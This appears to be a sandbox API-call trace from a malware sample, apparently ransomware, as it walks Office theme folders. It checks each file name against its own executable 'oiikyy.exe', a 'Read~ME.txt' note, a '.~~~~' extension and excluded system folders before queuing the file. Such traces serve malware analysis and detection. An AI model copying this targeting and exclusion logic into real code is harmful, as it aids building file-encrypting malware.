	[0077.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.973] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.973] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.974] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.974] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.974] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.974] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.974] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.974] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.974] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.974] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.974] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.974] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.974] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1
	[0077.974] lstrcmpiW (lpString1="EDGE.ELM", lpString2="Windows") returned -1
	[0077.974] lstrcmpW (lpString1="EDGE.ELM", lpString2="oiikyy.exe") returned -1
	[0077.974] StrStrW (lpFirst="EDGE.ELM", lpSrch=".~~~~") returned 0x0
	[0077.975] lstrcmpW (lpString1="EDGE.ELM", lpString2="Read~ME.txt") returned -1
	[0077.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.975] GetCurrentThreadId () returned 0x618
	[0077.975] RtlWakeConditionVariable () returned 0x365f48
	[0077.975] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1
	[0077.975] lstrcmpiW (lpString1="EDGE.INF", lpString2="Windows") returned -1
	[0077.975] lstrcmpW (lpString1="EDGE.INF", lpString2="oiikyy.exe") returned -1
	[0077.975] StrStrW (lpFirst="EDGE.INF", lpSrch=".~~~~") returned 0x0
	[0077.975] lstrcmpW (lpString1="EDGE.INF", lpString2="Read~ME.txt") returned -1
	[0077.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.975] GetCurrentThreadId () returned 0x618
	[0077.975] RtlWakeConditionVariable () returned 0x365f48
	[0077.975] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.975] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.975] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.975] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.975] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.975] GetCurrentThreadId () returned 0x618
	[0077.975] RtlWakeConditionVariable () returned 0x365f48
	[0077.975] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.976] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.976] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.976] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.976] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.976] GetCurrentThreadId () returned 0x618
	[0077.976] RtlWakeConditionVariable () returned 0x365f48
	[0077.976] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.976] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.976] GetCurrentThreadId () returned 0x618
	[0077.976] RtlWakeConditionVariable () returned 0x365f48
	[0077.977] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0077.977] lstrcmpiW (lpString1="EVRGREEN", lpString2="Windows") returned -1
	[0077.977] lstrcmpW (lpString1="EVRGREEN", lpString2=".") returned 1
	[0077.977] lstrcmpW (lpString1="EVRGREEN", lpString2="..") returned 1
	[0077.977] lstrcmpW (lpString1="EVRGREEN", lpString2="AppData") returned 1
	[0077.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN", lpSrch="AppData") returned 0x0
	[0077.977] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.978] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN", lpString2="C:\\Windows") returned -1
	[0077.978] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.978] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN", lpString2="C:\\System Volume Information") returned -1
	[0077.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.149] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.149] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.149] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.149] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.149] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.149] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.157] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.157] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.157] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.157] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.157] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.157] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.157] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1
	[0078.157] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="Windows") returned -1
	[0078.157] lstrcmpW (lpString1="EVRGREEN.ELM", lpString2="oiikyy.exe") returned -1
	[0078.157] StrStrW (lpFirst="EVRGREEN.ELM", lpSrch=".~~~~") returned 0x0
	[0078.157] lstrcmpW (lpString1="EVRGREEN.ELM", lpString2="Read~ME.txt") returned -1
	[0078.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.158] GetCurrentThreadId () returned 0x618
	[0078.158] RtlWakeConditionVariable () returned 0x365f48
	[0078.158] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1
	[0078.158] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="Windows") returned -1
	[0078.158] lstrcmpW (lpString1="EVRGREEN.INF", lpString2="oiikyy.exe") returned -1
	[0078.158] StrStrW (lpFirst="EVRGREEN.INF", lpSrch=".~~~~") returned 0x0
	[0078.158] lstrcmpW (lpString1="EVRGREEN.INF", lpString2="Read~ME.txt") returned -1
	[0078.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.158] GetCurrentThreadId () returned 0x618
	[0078.158] RtlWakeConditionVariable () returned 0x365f48
	[0078.158] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.158] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.158] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.158] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.158] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.158] GetCurrentThreadId () returned 0x618
	[0078.158] RtlWakeConditionVariable () returned 0x365f48
	[0078.159] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.159] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.159] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.159] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.159] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.159] GetCurrentThreadId () returned 0x618
	[0078.159] RtlWakeConditionVariable () returned 0x365f48
	[0078.159] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.159] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.159] GetCurrentThreadId () returned 0x618
	[0078.159] RtlWakeConditionVariable () returned 0x365f48
	[0078.159] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0078.159] lstrcmpiW (lpString1="EXPEDITN", lpString2="Windows") returned -1
	[0078.159] lstrcmpW (lpString1="EXPEDITN", lpString2=".") returned 1
	[0078.159] lstrcmpW (lpString1="EXPEDITN", lpString2="..") returned 1
	[0078.159] lstrcmpW (lpString1="EXPEDITN", lpString2="AppData") returned 1
	[0078.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN", lpSrch="AppData") returned 0x0
	[0078.160] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.160] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN", lpString2="C:\\Windows") returned -1
	[0078.160] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.160] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN", lpString2="C:\\System Volume Information") returned -1
	[0078.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.160] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.160] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.160] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.160] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.160] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.160] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.161] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.161] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.161] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.161] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.161] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.161] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.161] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1
	[0078.161] lstrcmpiW (lpString1="EXPEDITN.ELM", lpString2="Windows") returned -1
	[0078.161] lstrcmpW (lpString1="EXPEDITN.ELM", lpString2="oiikyy.exe") returned -1
	[0078.161] StrStrW (lpFirst="EXPEDITN.ELM", lpSrch=".~~~~") returned 0x0
	[0078.161] lstrcmpW (lpString1="EXPEDITN.ELM", lpString2="Read~ME.txt") returned -1
	[0078.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.161] GetCurrentThreadId () returned 0x618
	[0078.161] RtlWakeConditionVariable () returned 0x365f48
	[0078.161] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1
	[0078.161] lstrcmpiW (lpString1="EXPEDITN.INF", lpString2="Windows") returned -1
	[0078.161] lstrcmpW (lpString1="EXPEDITN.INF", lpString2="oiikyy.exe") returned -1
	[0078.161] StrStrW (lpFirst="EXPEDITN.INF", lpSrch=".~~~~") returned 0x0
	[0078.161] lstrcmpW (lpString1="EXPEDITN.INF", lpString2="Read~ME.txt") returned -1
	[0078.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.161] GetCurrentThreadId () returned 0x618
	[0078.161] RtlWakeConditionVariable () returned 0x365f48
	[0078.161] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.161] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.162] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.162] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.162] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.162] GetCurrentThreadId () returned 0x618
	[0078.162] RtlWakeConditionVariable () returned 0x365f48
	[0078.162] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.162] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.162] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.162] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.162] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.162] GetCurrentThreadId () returned 0x618
	[0078.162] RtlWakeConditionVariable () returned 0x365f48
	[0078.162] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.162] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.162] GetCurrentThreadId () returned 0x618
	[0078.162] RtlWakeConditionVariable () returned 0x365f48
	[0078.162] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1
	[0078.162] lstrcmpiW (lpString1="ICE", lpString2="Windows") returned -1
	[0078.163] lstrcmpW (lpString1="ICE", lpString2=".") returned 1
	[0078.163] lstrcmpW (lpString1="ICE", lpString2="..") returned 1
	[0078.163] lstrcmpW (lpString1="ICE", lpString2="AppData") returned 1
	[0078.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE", lpSrch="AppData") returned 0x0
	[0078.163] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.163] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE", lpString2="C:\\Windows") returned -1
	[0078.163] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.163] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE", lpString2="C:\\System Volume Information") returned -1
	[0078.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
